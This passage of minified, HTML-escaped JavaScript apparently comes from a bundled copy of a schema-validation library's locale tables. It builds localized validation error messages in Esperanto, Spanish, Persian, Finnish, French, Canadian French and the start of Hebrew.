address&quot;,cidrv4:&quot;IPv4 range&quot;,cidrv6:&quot;IPv6 range&quot;,base64:&quot;base64-encoded string&quot;,base64url:&quot;base64url-encoded string&quot;,json_string:&quot;JSON string&quot;,e164:&quot;E.164 number&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;input&quot;};return n=&gt;{switch(n.code){case&quot;invalid_type&quot;:return`Invalid input: expected ${n.expected}, received ${hMe(n.input)}`;case&quot;invalid_value&quot;:return n.values.length===1?`Invalid input: expected ${xn(n.values[0])}`:`Invalid option: expected one of ${hr(n.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const i=n.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,s=t(n.origin);return s?`Too big: expected ${n.origin??&quot;value&quot;} to have ${i}${n.maximum.toString()} ${s.unit??&quot;elements&quot;}`:`Too big: expected ${n.origin??&quot;value&quot;} to be ${i}${n.maximum.toString()}`}case&quot;too_small&quot;:{const i=n.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,s=t(n.origin);return s?`Too small: expected ${n.origin} to have ${i}${n.minimum.toString()} ${s.unit}`:`Too small: expected ${n.origin} to be ${i}${n.minimum.toString()}`}case&quot;invalid_format&quot;:{const i=n;return i.format===&quot;starts_with&quot;?`Invalid string: must start with &quot;${i.prefix}&quot;`:i.format===&quot;ends_with&quot;?`Invalid string: must end with &quot;${i.suffix}&quot;`:i.format===&quot;includes&quot;?`Invalid string: must include &quot;${i.includes}&quot;`:i.format===&quot;regex&quot;?`Invalid string: must match pattern ${i.pattern}`:`Invalid ${r[i.format]??n.format}`}case&quot;not_multiple_of&quot;:return`Invalid number: must be a multiple of ${n.divisor}`;case&quot;unrecognized_keys&quot;:return`Unrecognized key${n.keys.length&gt;1?&quot;s&quot;:&quot;&quot;}: ${hr(n.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Invalid key in ${n.origin}`;case&quot;invalid_union&quot;:return&quot;Invalid input&quot;;case&quot;invalid_element&quot;:return`Invalid value in ${n.origin}`;default:return&quot;Invalid input&quot;}}};function eee(){return{localeError:mMe()}}const pMe=e=&gt;{const t=typeof e;switch(t){case&quot;number&quot;:return Number.isNaN(e)?&quot;NaN&quot;:&quot;nombro&quot;;case&quot;object&quot;:{if(Array.isArray(e))return&quot;tabelo&quot;;if(e===null)return&quot;senvalora&quot;;if(Object.getPrototypeOf(e)!==Object.prototype&amp;&amp;e.constructor)return e.constructor.name}}return t},gMe=()=&gt;{const e={string:{unit:&quot;karaktrojn&quot;,verb:&quot;havi&quot;},file:{unit:&quot;bajtojn&quot;,verb:&quot;havi&quot;},array:{unit:&quot;elementojn&quot;,verb:&quot;havi&quot;},set:{unit:&quot;elementojn&quot;,verb:&quot;havi&quot;}};function t(n){return e[n]??null}const r={regex:&quot;enigo&quot;,email:&quot;retadreso&quot;,url:&quot;URL&quot;,emoji:&quot;emoĝio&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO-datotempo&quot;,date:&quot;ISO-dato&quot;,time:&quot;ISO-tempo&quot;,duration:&quot;ISO-daŭro&quot;,ipv4:&quot;IPv4-adreso&quot;,ipv6:&quot;IPv6-adreso&quot;,cidrv4:&quot;IPv4-rango&quot;,cidrv6:&quot;IPv6-rango&quot;,base64:&quot;64-ume kodita karaktraro&quot;,base64url:&quot;URL-64-ume kodita karaktraro&quot;,json_string:&quot;JSON-karaktraro&quot;,e164:&quot;E.164-nombro&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;enigo&quot;};return n=&gt;{switch(n.code){case&quot;invalid_type&quot;:return`Nevalida enigo: atendiĝis ${n.expected}, riceviĝis ${pMe(n.input)}`;case&quot;invalid_value&quot;:return n.values.length===1?`Nevalida enigo: atendiĝis ${xn(n.values[0])}`:`Nevalida opcio: atendiĝis unu el ${hr(n.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const i=n.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,s=t(n.origin);return s?`Tro granda: atendiĝis ke ${n.origin??&quot;valoro&quot;} havu ${i}${n.maximum.toString()} ${s.unit??&quot;elementojn&quot;}`:`Tro granda: atendiĝis ke ${n.origin??&quot;valoro&quot;} havu ${i}${n.maximum.toString()}`}case&quot;too_small&quot;:{const i=n.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,s=t(n.origin);return s?`Tro malgranda: atendiĝis ke ${n.origin} havu ${i}${n.minimum.toString()} ${s.unit}`:`Tro malgranda: atendiĝis ke ${n.origin} estu ${i}${n.minimum.toString()}`}case&quot;invalid_format&quot;:{const i=n;return i.format===&quot;starts_with&quot;?`Nevalida karaktraro: devas komenciĝi per &quot;${i.prefix}&quot;`:i.format===&quot;ends_with&quot;?`Nevalida karaktraro: devas finiĝi per &quot;${i.suffix}&quot;`:i.format===&quot;includes&quot;?`Nevalida karaktraro: devas inkluzivi &quot;${i.includes}&quot;`:i.format===&quot;regex&quot;?`Nevalida karaktraro: devas kongrui kun la modelo ${i.pattern}`:`Nevalida ${r[i.format]??n.format}`}case&quot;not_multiple_of&quot;:return`Nevalida nombro: devas esti oblo de ${n.divisor}`;case&quot;unrecognized_keys&quot;:return`Nekonata${n.keys.length&gt;1?&quot;j&quot;:&quot;&quot;} ŝlosilo${n.keys.length&gt;1?&quot;j&quot;:&quot;&quot;}: ${hr(n.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Nevalida ŝlosilo en ${n.origin}`;case&quot;invalid_union&quot;:return&quot;Nevalida enigo&quot;;case&quot;invalid_element&quot;:return`Nevalida valoro en ${n.origin}`;default:return&quot;Nevalida enigo&quot;}}};function AMe(){return{localeError:gMe()}}const xMe=()=&gt;{const e={string:{unit:&quot;caracteres&quot;,verb:&quot;tener&quot;},file:{unit:&quot;bytes&quot;,verb:&quot;tener&quot;},array:{unit:&quot;elementos&quot;,verb:&quot;tener&quot;},set:{unit:&quot;elementos&quot;,verb:&quot;tener&quot;}},t={string:&quot;texto&quot;,number:&quot;número&quot;,boolean:&quot;booleano&quot;,array:&quot;arreglo&quot;,object:&quot;objeto&quot;,set:&quot;conjunto&quot;,file:&quot;archivo&quot;,date:&quot;fecha&quot;,bigint:&quot;número grande&quot;,symbol:&quot;símbolo&quot;,undefined:&quot;indefinido&quot;,null:&quot;nulo&quot;,function:&quot;función&quot;,map:&quot;mapa&quot;,record:&quot;registro&quot;,tuple:&quot;tupla&quot;,enum:&quot;enumeración&quot;,union:&quot;unión&quot;,literal:&quot;literal&quot;,promise:&quot;promesa&quot;,void:&quot;vacío&quot;,never:&quot;nunca&quot;,unknown:&quot;desconocido&quot;,any:&quot;cualquiera&quot;};function r(o){return e[o]??null}function n(o){return t[o]??o}const i=o=&gt;{const l=typeof o;switch(l){case&quot;number&quot;:return Number.isNaN(o)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:return Array.isArray(o)?&quot;array&quot;:o===null?&quot;null&quot;:Object.getPrototypeOf(o)!==Object.prototype?o.constructor.name:&quot;object&quot;}return l},s={regex:&quot;entrada&quot;,email:&quot;dirección de correo electrónico&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;fecha y hora ISO&quot;,date:&quot;fecha ISO&quot;,time:&quot;hora ISO&quot;,duration:&quot;duración ISO&quot;,ipv4:&quot;dirección IPv4&quot;,ipv6:&quot;dirección IPv6&quot;,cidrv4:&quot;rango IPv4&quot;,cidrv6:&quot;rango IPv6&quot;,base64:&quot;cadena codificada en base64&quot;,base64url:&quot;URL codificada en base64&quot;,json_string:&quot;cadena JSON&quot;,e164:&quot;número E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;entrada&quot;};return o=&gt;{switch(o.code){case&quot;invalid_type&quot;:return`Entrada inválida: se esperaba ${n(o.expected)}, recibido ${n(i(o.input))}`;case&quot;invalid_value&quot;:return o.values.length===1?`Entrada inválida: se esperaba ${xn(o.values[0])}`:`Opción inválida: se esperaba una de ${hr(o.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const l=o.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,c=r(o.origin),d=n(o.origin);return c?`Demasiado grande: se esperaba que ${d??&quot;valor&quot;} tuviera ${l}${o.maximum.toString()} ${c.unit??&quot;elementos&quot;}`:`Demasiado grande: se esperaba que ${d??&quot;valor&quot;} fuera ${l}${o.maximum.toString()}`}case&quot;too_small&quot;:{const l=o.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,c=r(o.origin),d=n(o.origin);return c?`Demasiado pequeño: se esperaba que ${d} tuviera ${l}${o.minimum.toString()} ${c.unit}`:`Demasiado pequeño: se esperaba que ${d} fuera ${l}${o.minimum.toString()}`}case&quot;invalid_format&quot;:{const l=o;return l.format===&quot;starts_with&quot;?`Cadena inválida: debe comenzar con &quot;${l.prefix}&quot;`:l.format===&quot;ends_with&quot;?`Cadena inválida: debe terminar en &quot;${l.suffix}&quot;`:l.format===&quot;includes&quot;?`Cadena inválida: debe incluir &quot;${l.includes}&quot;`:l.format===&quot;regex&quot;?`Cadena inválida: debe coincidir con el patrón ${l.pattern}`:`Inválido ${s[l.format]??o.format}`}case&quot;not_multiple_of&quot;:return`Número inválido: debe ser múltiplo de ${o.divisor}`;case&quot;unrecognized_keys&quot;:return`Llave${o.keys.length&gt;1?&quot;s&quot;:&quot;&quot;} desconocida${o.keys.length&gt;1?&quot;s&quot;:&quot;&quot;}: ${hr(o.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Llave inválida en ${n(o.origin)}`;case&quot;invalid_union&quot;:return&quot;Entrada inválida&quot;;case&quot;invalid_element&quot;:return`Valor inválido en ${n(o.origin)}`;default:return&quot;Entrada inválida&quot;}}};function vMe(){return{localeError:xMe()}}const yMe=()=&gt;{const e={string:{unit:&quot;کاراکتر&quot;,verb:&quot;داشته باشد&quot;},file:{unit:&quot;بایت&quot;,verb:&quot;داشته باشد&quot;},array:{unit:&quot;آیتم&quot;,verb:&quot;داشته باشد&quot;},set:{unit:&quot;آیتم&quot;,verb:&quot;داشته باشد&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;عدد&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;آرایه&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;ورودی&quot;,email:&quot;آدرس ایمیل&quot;,url:&quot;URL&quot;,emoji:&quot;ایموجی&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;تاریخ و زمان ایزو&quot;,date:&quot;تاریخ ایزو&quot;,time:&quot;زمان ایزو&quot;,duration:&quot;مدت زمان ایزو&quot;,ipv4:&quot;IPv4 آدرس&quot;,ipv6:&quot;IPv6 آدرس&quot;,cidrv4:&quot;IPv4 دامنه&quot;,cidrv6:&quot;IPv6 دامنه&quot;,base64:&quot;base64-encoded رشته&quot;,base64url:&quot;base64url-encoded رشته&quot;,json_string:&quot;JSON رشته&quot;,e164:&quot;E.164 عدد&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;ورودی&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`ورودی نامعتبر: می‌بایست ${i.expected} می‌بود، ${r(i.input)} دریافت شد`;case&quot;invalid_value&quot;:return i.values.length===1?`ورودی نامعتبر: می‌بایست ${xn(i.values[0])} می‌بود`:`گزینه نامعتبر: می‌بایست یکی از ${hr(i.values,&quot;|&quot;)} می‌بود`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`خیلی بزرگ: ${i.origin??&quot;مقدار&quot;} باید ${s}${i.maximum.toString()} ${o.unit??&quot;عنصر&quot;} باشد`:`خیلی بزرگ: ${i.origin??&quot;مقدار&quot;} باید ${s}${i.maximum.toString()} باشد`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`خیلی کوچک: ${i.origin} باید ${s}${i.minimum.toString()} ${o.unit} باشد`:`خیلی کوچک: ${i.origin} باید ${s}${i.minimum.toString()} باشد`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`رشته نامعتبر: باید با &quot;${s.prefix}&quot; شروع شود`:s.format===&quot;ends_with&quot;?`رشته نامعتبر: باید با &quot;${s.suffix}&quot; تمام شود`:s.format===&quot;includes&quot;?`رشته نامعتبر: باید شامل &quot;${s.includes}&quot; باشد`:s.format===&quot;regex&quot;?`رشته نامعتبر: باید با الگوی ${s.pattern} مطابقت داشته باشد`:`${n[s.format]??i.format} نامعتبر`}case&quot;not_multiple_of&quot;:return`عدد نامعتبر: باید مضرب ${i.divisor} باشد`;case&quot;unrecognized_keys&quot;:return`کلید${i.keys.length&gt;1?&quot;های&quot;:&quot;&quot;} ناشناس: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`کلید ناشناس در ${i.origin}`;case&quot;invalid_union&quot;:return&quot;ورودی نامعتبر&quot;;case&quot;invalid_element&quot;:return`مقدار نامعتبر در ${i.origin}`;default:return&quot;ورودی نامعتبر&quot;}}};function bMe(){return{localeError:yMe()}}const wMe=()=&gt;{const e={string:{unit:&quot;merkkiä&quot;,subject:&quot;merkkijonon&quot;},file:{unit:&quot;tavua&quot;,subject:&quot;tiedoston&quot;},array:{unit:&quot;alkiota&quot;,subject:&quot;listan&quot;},set:{unit:&quot;alkiota&quot;,subject:&quot;joukon&quot;},number:{unit:&quot;&quot;,subject:&quot;luvun&quot;},bigint:{unit:&quot;&quot;,subject:&quot;suuren kokonaisluvun&quot;},int:{unit:&quot;&quot;,subject:&quot;kokonaisluvun&quot;},date:{unit:&quot;&quot;,subject:&quot;päivämäärän&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;säännöllinen lauseke&quot;,email:&quot;sähköpostiosoite&quot;,url:&quot;URL-osoite&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO-aikaleima&quot;,date:&quot;ISO-päivämäärä&quot;,time:&quot;ISO-aika&quot;,duration:&quot;ISO-kesto&quot;,ipv4:&quot;IPv4-osoite&quot;,ipv6:&quot;IPv6-osoite&quot;,cidrv4:&quot;IPv4-alue&quot;,cidrv6:&quot;IPv6-alue&quot;,base64:&quot;base64-koodattu merkkijono&quot;,base64url:&quot;base64url-koodattu merkkijono&quot;,json_string:&quot;JSON-merkkijono&quot;,e164:&quot;E.164-luku&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;templaattimerkkijono&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Virheellinen tyyppi: odotettiin ${i.expected}, oli ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Virheellinen syöte: täytyy olla ${xn(i.values[0])}`:`Virheellinen valinta: täytyy olla yksi seuraavista: ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Liian suuri: ${o.subject} täytyy olla ${s}${i.maximum.toString()} ${o.unit}`.trim():`Liian suuri: arvon täytyy olla ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Liian pieni: ${o.subject} täytyy olla ${s}${i.minimum.toString()} ${o.unit}`.trim():`Liian pieni: arvon täytyy olla ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Virheellinen syöte: täytyy alkaa &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Virheellinen syöte: täytyy loppua &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Virheellinen syöte: täytyy sisältää &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Virheellinen syöte: täytyy vastata säännöllistä lauseketta ${s.pattern}`:`Virheellinen ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Virheellinen luku: täytyy olla luvun ${i.divisor} monikerta`;case&quot;unrecognized_keys&quot;:return`${i.keys.length&gt;1?&quot;Tuntemattomat avaimet&quot;:&quot;Tuntematon avain&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return&quot;Virheellinen avain tietueessa&quot;;case&quot;invalid_union&quot;:return&quot;Virheellinen unioni&quot;;case&quot;invalid_element&quot;:return&quot;Virheellinen arvo joukossa&quot;;default:return&quot;Virheellinen syöte&quot;}}};function EMe(){return{localeError:wMe()}}const CMe=()=&gt;{const e={string:{unit:&quot;caractères&quot;,verb:&quot;avoir&quot;},file:{unit:&quot;octets&quot;,verb:&quot;avoir&quot;},array:{unit:&quot;éléments&quot;,verb:&quot;avoir&quot;},set:{unit:&quot;éléments&quot;,verb:&quot;avoir&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;nombre&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;tableau&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;entrée&quot;,email:&quot;adresse e-mail&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;date et heure ISO&quot;,date:&quot;date ISO&quot;,time:&quot;heure ISO&quot;,duration:&quot;durée ISO&quot;,ipv4:&quot;adresse IPv4&quot;,ipv6:&quot;adresse IPv6&quot;,cidrv4:&quot;plage IPv4&quot;,cidrv6:&quot;plage IPv6&quot;,base64:&quot;chaîne encodée en base64&quot;,base64url:&quot;chaîne encodée en base64url&quot;,json_string:&quot;chaîne JSON&quot;,e164:&quot;numéro E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;entrée&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Entrée invalide : ${i.expected} attendu, ${r(i.input)} reçu`;case&quot;invalid_value&quot;:return i.values.length===1?`Entrée invalide : ${xn(i.values[0])} attendu`:`Option invalide : une valeur parmi ${hr(i.values,&quot;|&quot;)} attendue`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Trop grand : ${i.origin??&quot;valeur&quot;} doit ${o.verb} ${s}${i.maximum.toString()} ${o.unit??&quot;élément(s)&quot;}`:`Trop grand : ${i.origin??&quot;valeur&quot;} doit être ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Trop petit : ${i.origin} doit ${o.verb} ${s}${i.minimum.toString()} ${o.unit}`:`Trop petit : ${i.origin} doit être ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Chaîne invalide : doit commencer par &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Chaîne invalide : doit se terminer par &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Chaîne invalide : doit inclure &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Chaîne invalide : doit correspondre au modèle ${s.pattern}`:`${n[s.format]??i.format} invalide`}case&quot;not_multiple_of&quot;:return`Nombre invalide : doit être un multiple de ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Clé${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;} non reconnue${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;} : ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Clé invalide dans ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Entrée invalide&quot;;case&quot;invalid_element&quot;:return`Valeur invalide dans ${i.origin}`;default:return&quot;Entrée invalide&quot;}}};function IMe(){return{localeError:CMe()}}const jMe=()=&gt;{const e={string:{unit:&quot;caractères&quot;,verb:&quot;avoir&quot;},file:{unit:&quot;octets&quot;,verb:&quot;avoir&quot;},array:{unit:&quot;éléments&quot;,verb:&quot;avoir&quot;},set:{unit:&quot;éléments&quot;,verb:&quot;avoir&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;entrée&quot;,email:&quot;adresse courriel&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;date-heure ISO&quot;,date:&quot;date ISO&quot;,time:&quot;heure ISO&quot;,duration:&quot;durée ISO&quot;,ipv4:&quot;adresse IPv4&quot;,ipv6:&quot;adresse IPv6&quot;,cidrv4:&quot;plage IPv4&quot;,cidrv6:&quot;plage IPv6&quot;,base64:&quot;chaîne encodée en base64&quot;,base64url:&quot;chaîne encodée en base64url&quot;,json_string:&quot;chaîne JSON&quot;,e164:&quot;numéro E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;entrée&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Entrée invalide : attendu ${i.expected}, reçu ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Entrée invalide : attendu ${xn(i.values[0])}`:`Option invalide : attendu l&#039;une des valeurs suivantes ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;≤&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Trop grand : attendu que ${i.origin??&quot;la valeur&quot;} ait ${s}${i.maximum.toString()} ${o.unit}`:`Trop grand : attendu que ${i.origin??&quot;la valeur&quot;} soit ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;≥&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Trop petit : attendu que ${i.origin} ait ${s}${i.minimum.toString()} ${o.unit}`:`Trop petit : attendu que ${i.origin} soit ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Chaîne invalide : doit commencer par &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Chaîne invalide : doit se terminer par &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Chaîne invalide : doit inclure &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Chaîne invalide : doit correspondre au motif ${s.pattern}`:`${n[s.format]??i.format} invalide`}case&quot;not_multiple_of&quot;:return`Nombre invalide : doit être un multiple de ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Clé${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;} non reconnue${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;} : ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Clé invalide dans ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Entrée invalide&quot;;case&quot;invalid_element&quot;:return`Valeur invalide dans ${i.origin}`;default:return&quot;Entrée invalide&quot;}}};function NMe(){return{localeError:jMe()}}const SMe=()=&gt;{const e={string:{label:&quot;מחרוזת&quot;,gender:&quot;f&quot;},number:{label:&quot;מספר&quot;,gender:&quot;m&quot;},boolean:{label:&quot;ערך בוליאני&quot;,gender:&quot;m&quot;},bigint:{label:&quot;BigInt&quot;,gender:&quot;m&quot;},date:{label:&quot;תאריך&quot;,gender:&quot;m&quot;},array:{label:&quot;מערך&quot;,gender:&quot;m&quot;},object:{label:&quot;אובייקט&quot;,gender:&quot;m&quot;},null:{label:&quot;ערך ריק (null)&quot;,gender:&quot;m&quot;},undefined:{label:&quot;ערך לא מוגדר (undefined)&quot;,gender:&quot;m&quot;},symbol:{label:&quot;סימבול (Symbol)&quot;,gender:&quot;m&quot;},function:{label:&quot;פונקציה&quot;,gender:&quot;f&quot;},map:{label:&quot;מפה (Map)&quot;,gender:&quot;f&quot;},set:{label:&quot;קבוצה (Set)&quot;,gender:&quot;f&quot;},file:{label:&quot;קובץ&quot;,gender:&quot;m&quot;},promise:{label:&quot;Promise&quot;,gender:&quot;m&quot;},NaN:{label:&quot;NaN&quot;,gender:&quot;m&quot;},unknown:{label:&quot;ערך לא ידוע&quot;,gender:&quot;m&quot;},value:{label:&quot;ערך&quot;,gender:&quot;m&quot;}},t={string:{unit:&quot;תווים&quot;,shortLabel:&quot;קצר&quot;,longLabel:&quot;ארוך&quot;},file:{unit:&quot;בייטים&quot;,shortLabel:&quot;קטן&quot;,longLabel:&quot;גדול&quot;},array:{unit:&quot;פריטים&quot;,shortLabel:&quot;קטן&quot;,longLabel:&quot;גדול&quot;},set:{unit:&quot;פריטים&quot;,shortLabel:&quot;קטן&quot;,longLabel:&quot;גדול&quot;},number:{unit:&quot;&quot;,shortLabel:&quot;קטן&quot;,longLabel:&quot;גדול&quot;}},r=d=&gt;d?e[d]:void 0,n=d=&gt;{const u=r(d);return u?u.label:d??e.unknown.label},i=d=&gt;`ה${n(d)}`,s=d=&gt;(r(d)?.gender??&quot;m&quot;)===&quot;f&quot;?&quot;צריכה להיות&quot;:&quot;צריך להיות&quot;,o=d=&gt;d?t[d]??null:null,l=d=&gt;{const u=typeof d;switch(u){case&quot;number&quot;:return Number.isNaN(d)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:return Array.isArray(d)?&quot;array&quot;:d===null?&quot;null&quot;:Object.getPrototypeOf(d)!==Object.prototype&amp;&amp;d.constructor?d.constructor.name:&quot;object&quot;;default:return u}},c={regex:{label:&quot;קלט&quot;,gender:&quot;m&quot;},email:{label:&quot;כתובת אימייל&quot;,gender:&quot;f&quot;},url:{label:&quot;כתובת רשת&quot;,gender:&quot;f&quot;},emoji:{label:&quot;אימוג&#039;י&quot;,gender:&quot;m&quot;},uuid:{label:&quot;UUID&quot;,gender:&quot;m&quot;},nanoid:{label:&quot;nanoid&quot;,gender:&quot;m&quot;},guid:{label:&quot;GUID&quot;,gender:&quot;m&quot;},cuid:{label:&quot;cuid&quot;,gender:&quot;m&quot;},cuid2:{label:&quot;cuid2&quot;,gender:&quot;m&quot;},ulid:{label:&quot;ULID&quot;,gender:&quot;m&quot;},xid:{label:&quot;XID&quot;,gender:&quot;m&quot;},ksuid:{label:&quot;KSUID&quot;,gender:&quot;m&quot;},datetime:{label:&quot;תאריך וזמן ISO&quot;,gender:&quot;m&quot;},date:{label:&quot;תאריך ISO&quot;,gender:&quot;m&quot;},time:{label:&quot;זמן ISO&quot;,gender:&quot;m&quot;},duration:{label:&quot;משך זמן ISO&quot;,gender:&quot;m&quot;},ipv4:{label:&quot;כתובת IPv4&quot;,gender:&quot;f&quot;},ipv6:{label:&quot;כתובת IPv6&quot;,gender:&quot;f&quot;},cidrv4:{label:&quot;טווח IPv4&quot;,gender:&quot;m&quot;},cidrv6:{label:&quot;טווח IPv6&quot;,gender:&quot;m&quot;},base64:{label:&quot;מחרוזת בבסיס 64&quot;,gender:&quot;f&quot;},base64url:{label:&quot;מחרוזת בבסיס 64 לכתובות רשת&quot;,gender:&quot;f&quot;},json_string:{label:&quot;מחרוזת JSON&quot;,gender:&quot;f&quot;},e164:{label:&quot;מספר 